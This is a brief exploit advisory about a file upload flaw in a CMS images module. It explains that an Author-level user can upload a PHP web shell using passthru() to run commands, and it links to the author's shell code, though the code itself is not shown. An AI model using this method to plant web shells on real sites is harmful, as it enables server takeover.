Remote Execution shell it is possible for "Standard user" that have right as "Author" in "IMAGES" modules to upload malicious file (php shell :P) , because there isn`t filterring input file to uploads, so itis possible to execute malicious code, in this case i proof it with php code (use passthru() to execute shell command ) make some php code, and upload it in images upload box : this is my simple code : you can find it in mysites http://geocities.com/y3d1ps/scarpt/echo-simple-shell.php.txt ---------------code------------------- #E-C-H-O $imple $hell
